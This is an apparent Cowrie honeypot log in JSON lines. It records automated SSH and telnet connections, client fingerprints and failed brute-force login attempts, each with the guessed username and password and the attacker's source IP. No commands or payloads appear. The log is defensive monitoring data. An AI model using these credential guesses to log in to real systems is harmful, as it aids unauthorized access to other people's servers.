{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:50.149423Z","src_ip":"87.106.29.151","session":"caef7e73ae48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.050007343292236,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:50.362099Z","src_ip":"50.6.8.71","session":"5356c3d4af0e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:50.587284Z","src_ip":"87.106.29.151","session":"caef7e73ae48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:51.686959Z","src_ip":"87.106.29.151","session":"caef7e73ae48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40836,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a46b456a1f","protocol":"ssh","message":"New connection: 2.57.122.238:40836 (10.17.0.5:22) [session: d8a46b456a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:52.863286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:52.868032Z","src_ip":"2.57.122.238","session":"d8a46b456a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:52.969222Z","src_ip":"2.57.122.238","session":"d8a46b456a1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:53.274548Z","src_ip":"2.57.122.238","session":"d8a46b456a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.217.9.109","src_port":47884,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ead161d5de9","protocol":"ssh","message":"New connection: 83.217.9.109:47884 (159.203.135.109:22) [session: 6ead161d5de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:54.370409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:54.374604Z","src_ip":"83.217.9.109","session":"6ead161d5de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:54.378345Z","src_ip":"2.57.122.238","session":"d8a46b456a1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:54.497602Z","src_ip":"83.217.9.109","session":"6ead161d5de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:54.867784Z","src_ip":"83.217.9.109","session":"6ead161d5de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:37:55.994420Z","src_ip":"83.217.9.109","session":"6ead161d5de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":50614,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d904ab4b9e5","protocol":"ssh","message":"New connection: 103.82.132.16:50614 (10.17.0.5:22) [session: 5d904ab4b9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:03.493630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:03.498346Z","src_ip":"103.82.132.16","session":"5d904ab4b9e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":38220,"dst_ip":"159.203.135.109","dst_port":22,"session":"f34b54aa1459","protocol":"ssh","message":"New connection: 103.27.238.120:38220 (159.203.135.109:22) [session: f34b54aa1459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:03.718285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:03.723003Z","src_ip":"103.27.238.120","session":"f34b54aa1459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:03.764907Z","src_ip":"103.82.132.16","session":"5d904ab4b9e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s123456789","message":"login attempt [root/s123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:04.594005Z","src_ip":"103.82.132.16","session":"5d904ab4b9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:04.742973Z","src_ip":"103.27.238.120","session":"f34b54aa1459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":".weiv","message":"login attempt [root/.weiv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:05.647680Z","src_ip":"103.27.238.120","session":"f34b54aa1459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:05.860885Z","src_ip":"103.82.132.16","session":"5d904ab4b9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:06.916800Z","src_ip":"103.27.238.120","session":"f34b54aa1459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53158,"dst_ip":"10.17.0.5","dst_port":23,"session":"a733e7155f13","protocol":"telnet","message":"New connection: 50.6.8.71:53158 (10.17.0.5:23) [session: a733e7155f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:08.595445Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":54884,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c8315299b6d","protocol":"ssh","message":"New connection: 103.27.238.68:54884 (159.203.135.109:22) [session: 7c8315299b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:17.373290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:17.381461Z","src_ip":"103.27.238.68","session":"7c8315299b6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:17.649269Z","src_ip":"103.27.238.68","session":"7c8315299b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1598753","message":"login attempt [root/1598753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:18.450540Z","src_ip":"103.27.238.68","session":"7c8315299b6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:19.721620Z","src_ip":"103.27.238.68","session":"7c8315299b6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":58952,"dst_ip":"10.17.0.5","dst_port":22,"session":"9626acfc0cd3","protocol":"ssh","message":"New connection: 87.251.79.125:58952 (10.17.0.5:22) [session: 9626acfc0cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:24.165394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:24.169503Z","src_ip":"87.251.79.125","session":"9626acfc0cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:24.242308Z","src_ip":"87.251.79.125","session":"9626acfc0cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"navigator","message":"login attempt [root/navigator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:24.461220Z","src_ip":"87.251.79.125","session":"9626acfc0cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:25.537193Z","src_ip":"87.251.79.125","session":"9626acfc0cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41876,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee1e95eb9a33","protocol":"telnet","message":"New connection: 50.6.8.71:41876 (10.17.0.5:23) [session: ee1e95eb9a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:28.124882Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41892,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c03ce999df1","protocol":"telnet","message":"New connection: 50.6.8.71:41892 (10.17.0.5:23) [session: 9c03ce999df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:31.185542Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":40686,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb0f53cae379","protocol":"ssh","message":"New connection: 103.77.175.15:40686 (10.17.0.5:22) [session: fb0f53cae379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:34.582571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:34.587267Z","src_ip":"103.77.175.15","session":"fb0f53cae379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:34.839811Z","src_ip":"103.77.175.15","session":"fb0f53cae379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43236,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b376e6bed3c","protocol":"ssh","message":"New connection: 80.94.92.184:43236 (159.203.135.109:22) [session: 1b376e6bed3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:35.140189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:35.191922Z","src_ip":"80.94.92.184","session":"1b376e6bed3c","protocol":"ssh"}
